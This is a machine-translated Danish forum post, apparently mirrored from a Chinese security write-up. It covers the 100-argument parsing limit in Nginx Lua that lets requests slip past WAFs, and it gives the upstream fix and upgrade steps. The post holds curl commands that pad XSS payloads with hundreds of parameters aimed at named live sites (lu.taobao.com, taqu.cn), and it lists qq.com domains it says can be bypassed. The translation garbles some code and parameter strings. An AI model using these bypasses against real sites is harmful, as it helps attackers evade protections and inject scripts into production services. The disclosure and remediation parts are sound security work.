Denne artikel er en spejling af maskinoversættelse, klik venligst her for at springe til den oprindelige artikel.

Udsigt: 16994|Svar: 1

[Sikkerhedssårbarhed] Nginx Luas WAF Application Firewall-sårbarhed

[Kopier link]
Opslået på 27/04/2018 09.23.29 | | | |
Når ginx Lua opnår parametre, opnås de første 100 parameterværdier som standard, og resten kasseres.
Derfor vil WAF'er, der bruger Nginx Lua, som standard blive omgået.
Den 20. april den 18. havde en person på sikkerhedspassageren allerede oplyst denne detalje, så jeg offentliggjorde også denne artikel 233.



Princip

Den officielle beskrivelse er som følger

Bemærk, at maksimalt 100 anmodningsargumenter som standard parses (inklusive dem med samme navn), og at yderligere anmodningsargumenter tavst kasseres for at beskytte mod potentielle argumenter Denial of service-angreb.

Op til 100 anmodningsparametre (inklusive dem med samme navn) kan som standard parses, og yderligere anmodningsparametre droppes automatisk for at forhindre potentielle denial-of-service-angreb.

Søgning 100, omtrent den følgende metode har samme problem.
ngx.req.get_uri_args Hent anmodningsparametrene for get
ngx.req.get_post_args Få anmodningsparametrene for opslaget
ngx.req.get_headers Få anmodningsheaderen
ngx.decode_args Afkod URL'en for parametrene
ngx.resp.get_headers Få svar-headeren
I lua-nginx-modulets kildekode kan vi se, at kildekoden sætter standard maksimale anmodningsparameter og header til 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Dog tilbyder den officielle en metode til at ændre standardværdien, såsom ngx.req.get_uri_args (200) for at få de første 200 anmodningsparametre.

Test

Hvis anmodningsparameteren er 101, kan den sidste anmodningsparameter ikke opnås.

curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Hvis du reducerer én anmodningsparameter, kan du få den sidste anmodningsparameter, når anmodningsparametrene er præcis 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
A: ZBG
Jeg har dig, zbg

Bemærk, at standarden faktisk er 100 anmodningsparametre, og anmodningsparametrene efter 100 anmodningsparametre vil blive kasseret.

Der er noget mærkeligt, at i returindholdet ovenfor, midt i den ru position, er den endelige zbg-parameter allerede outputtet. Mit gæt er, at outputtet ikke er i rækkefølge, men rækkefølgen, som parsingen er i, følger rækkefølgen, hvori parametrene indsendes, fordi når den 101. parameterværdi er zbg, kan værdien ikke opnås.

Vedhæftet er python-scriptet, der genererer parametrene:

# Forfatter: ZBG
# post:zbg@zbg.org
# dato: 2018-04-03

a = ''
For I i i interval(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
print a
reparere
Det anbefales naturligvis ikke at ændre MAX-værdien af parameteren i kildekoden. For uanset hvor stor værdien du sætter, kan den omgås. Det anbefales at sætte den inden for metodens parametre.
Hvis du kan få længden af anmodningsparameteren og bruge en metode som ngx.req.get_uri_args (lenth), ville det så ikke være nok?
Da jeg læste dokumentationen, fandt jeg ud af, at antallet af ønskede parametre ikke kunne opnås. Men hvis du sætter lenth til 0, kan du få alle de ønskede parametre.

Dette argument kan sættes til nul for at fjerne grænsen og for at behandle alle modtagne anmodningsargumenter.
lokale ARG'er = ngx.req.get_uri_args(0)

Det frarådes dog kraftigt at sætte den til 0 for at forhindre potentielle denial-of-service-angreb.

Fjernelse af max_args cap frarådes kraftigt.

Faktisk undrede jeg mig over, hvorfor indstilling 0 kunne føre til et potentielt denial of service-angreb, og anmodningen alligevel ville gå til nginx, uanset hvor mange parametre der var i get eller post.

Jeg tog et problem op med den officielle medarbejder, og forfatteren sagde, at ngx.req.get_uri_args (0) vil øge serverens CPU- og hukommelsesforbrug. Senere testede jeg 200 parametre og brugte Nginx+php til at opnå den 200. parameter, hvilket betyder, at Nginx som standard ikke begrænser antallet af anmodede parametre. Så kan problemet ligge i Nginx Lua selv,Når Nginx Lua bruger ngx.req.get_uri_args(0) til at hente alle parametrene og itererer gennem dem, bruger det mere CPU og hukommelse, når der er mange parametre anmodet, og fører til sidst endda til en denial of service.

Den 03/04/2018 rejste Bypass007 officielt et PROBLEM om denne fejlrettelse og tilføjede endelig officielt en ny funktion baseret på dette PROBLEM den 21. april 2018. Commit-postadressen for denne funktion: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Funktionsbeskrivelsen er som følger: I versioner efter v0.10.13 (inklusive v0.10.13), når grænsen for antallet af forespørgsler overskrides, er den anden returværdi den trunkerede streng.
Siden v0.10.13, når grænsen overskrides, vil den returnere en anden værdi, som er strengen "afskåret".
Dog kan argumentet max_args funktion bruges til at tilsidesætte denne grænse:
lokale ARG'er, ERR = ngx.req.get_uri_args(10)
hvis err == "afskåret" så
     -- kan man vælge at ignorere eller afvise den aktuelle anmodning her
slut

Så kom den endelige løsning.

Opgrader lua-nginx-modulet til v0.10.13 eller senere

Så begrænser du det samlede antal parametre, og for hvor meget det samlede antal er begrænset, synes jeg personligt, at 100 er nok

OpenResty opgraderer lua-nginx-modulmodulet

Jeg fandt ingen information om OpenResty-opgraderingsmodulet, så jeg fandt selv ud af, hvordan jeg opgraderer lua-nginx-modulmodulet.

Trinene er som følger:

Download den tilsvarende version af lua-nginx-modulmodulet
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
pakke ud
tar -zxvf v0.10.13
Slet den tidligere lua-nginx-modul-version
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Kopier det nye lua-nginx-modul
MV LUA-nginx-module-0.10.13 OpenRESTY-1.9.15.1/bundle/ngx_lua-0.10.13
For kompilering, henvis til kompileringsparametrene for VeryNginx


Omgåelse af kabinettet

Det skal præciseres, at jeg ikke er sikker på, om de følgende WAF'er skal bruge Nginx Lua, men de kan omgås ved det samlede antal parametre.

Ali WAF

Denne WAF er en WAF, der bruges internt af Alibaba, altså den WAF, der bruges af domænenavne som *.taobao.com, og den er ikke blevet testet for den cloud WAF, der sælges af Alibaba Cloud.
Først, anmod om en POST XSS Payload til at opsnappe den.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Gennem Fuzz blev det fundet, at når antallet af parametre øges til 478 med XSS Payload, bliver det ikke længere opfanget, og hjemmesiden kan tilgås normalt.
curl -v -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=111&a112=112&a113=13&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133=134& A135=135&A136=136&A137=137&A138=138&A139=139&A140=140&A141=141&A142=142&A143=143&A144=144=144&A145=145&A146=146&A147=147&A148=148&A149=149&A150=150&A151=151&A152=152&A153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& A172=172&A173=173&A174=174&A175=175&A176=176&A177=177&A178=178&A179=179&A180=180&A181=181&A182=182&A183=183&A184=184&A185=185&A186=186&A187=187&A188=188&A189=189&A190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& A209=209&A210=210&A211=211&A212=212&A213=213&A214=214&A215=215&A216=216&A217=217&A218=218&A219=219&A220=220&A221=21&A2222=222=222&A223=23&a224=24&a225=25&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& A246=246&A247=247&A248=248&A249=249&A250=250&A251=251&A252=252&A253=253&A254=254&A255=255&A256=256&A257=257&A258=258&A259=259&A260=260&A261=261&a262=262&A263=263&A264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& A283=283&A284=284&A285=285&A286=286&A287=287&A288=288&A289=289&A290=290&A291=291&A292=292&A293=293&A294=294&A295=295&A296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& A320=320&A321=321&A322=322&A323=323&A324=324&A325=325&A326=326&A327=327&A328=328&A329=329&A330=330&A331=331&A332=332&A333=333&A334=334&A335=35&A336=336&A337=337&A338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355=355=356=356& A357=357&A358=358&A359=359&A360=360&A361=361&A362=362&A363=363&A364=364&A365=365&A366=366&A367=367&A368=368&A369=369&A370=370&A371=371&A372=372&A373=373&A374=374&A375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& A394=394&A395=395&A396=396&A397=397&A398=398&A399=399&A400=400&A401=401&A402=402&A403=403&A404=404&A405=405&A406=406&A407=407&A408=408&A409=409&A410=410&A411=411&A412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& A431=431&A432=432&A433=433&A434=434&A435=435&A436=436&A437=437&A438=438&A439=439&A440=440&A441=441&A442=442&A443=443&A444=444=445=445&A446=446&A447=447&A448=48&A449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455=455=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465=465&a466=466=467=467& A468=468&A469=469&a470=470&a471=471&A472=472&A473=473&A474=474&A475=475&A476=476&A477=477&A=<Img SRC=X onerror=ALERT(/xss/)>' lu.taobao.com

UCloud

Den WAF, der testes, er en WAF, der sælges af UCloud.
Når anmodningsparameteren øges til 138, vil den ikke længere blive blokeret, og hjemmesiden vil blive tilgået normalt.
curl -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=111&a112=112&a113=13&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133=134& a135=135&A136=136&A137=137&a=alert(1234)' taqu.cn

Tencent WAF

Denne WAF er en WAF, der bruges internt af Tencent, altså den WAF, der bruges af domænenavne som *.qq.com, og er ikke blevet testet til den cloud WAF, der sælges af Tencent Cloud.
Når anmodningsparameteren stiger til 4000, vil den ikke længere blive blokeret, og hjemmesiden vil blive tilgået normalt. Tilfældige tests af følgende domæner påvirkes.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

resumé

Dette spørgsmål er meget enkelt, og du kan finde det ved at læse dokumentet grundigt. Men hvorfor fandt jeg det ikke ud af? Jeg synes stadig, det er for lidt tænkning.
Reference
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Tidligere:Lær Photoshop fra bunden, 18 lektioner fra nybegynder til gud
Næste:Styrker og svagheder ved Lua og Luajit
Ansvarsfraskrivelse:
Al software, programmeringsmaterialer eller artikler udgivet af Code Farmer Network er kun til lærings- og forskningsformål; Ovenstående indhold må ikke bruges til kommercielle eller ulovlige formål, ellers skal brugerne bære alle konsekvenser. Oplysningerne på dette site kommer fra internettet, og ophavsretstvister har intet med dette site at gøre. Du skal slette ovenstående indhold fuldstændigt fra din computer inden for 24 timer efter download. Hvis du kan lide programmet, så understøt venligst ægte software, køb registrering og få bedre ægte tjenester. Hvis der er nogen overtrædelse, bedes du kontakte os via e-mail.

Mail To:help@itsvse.com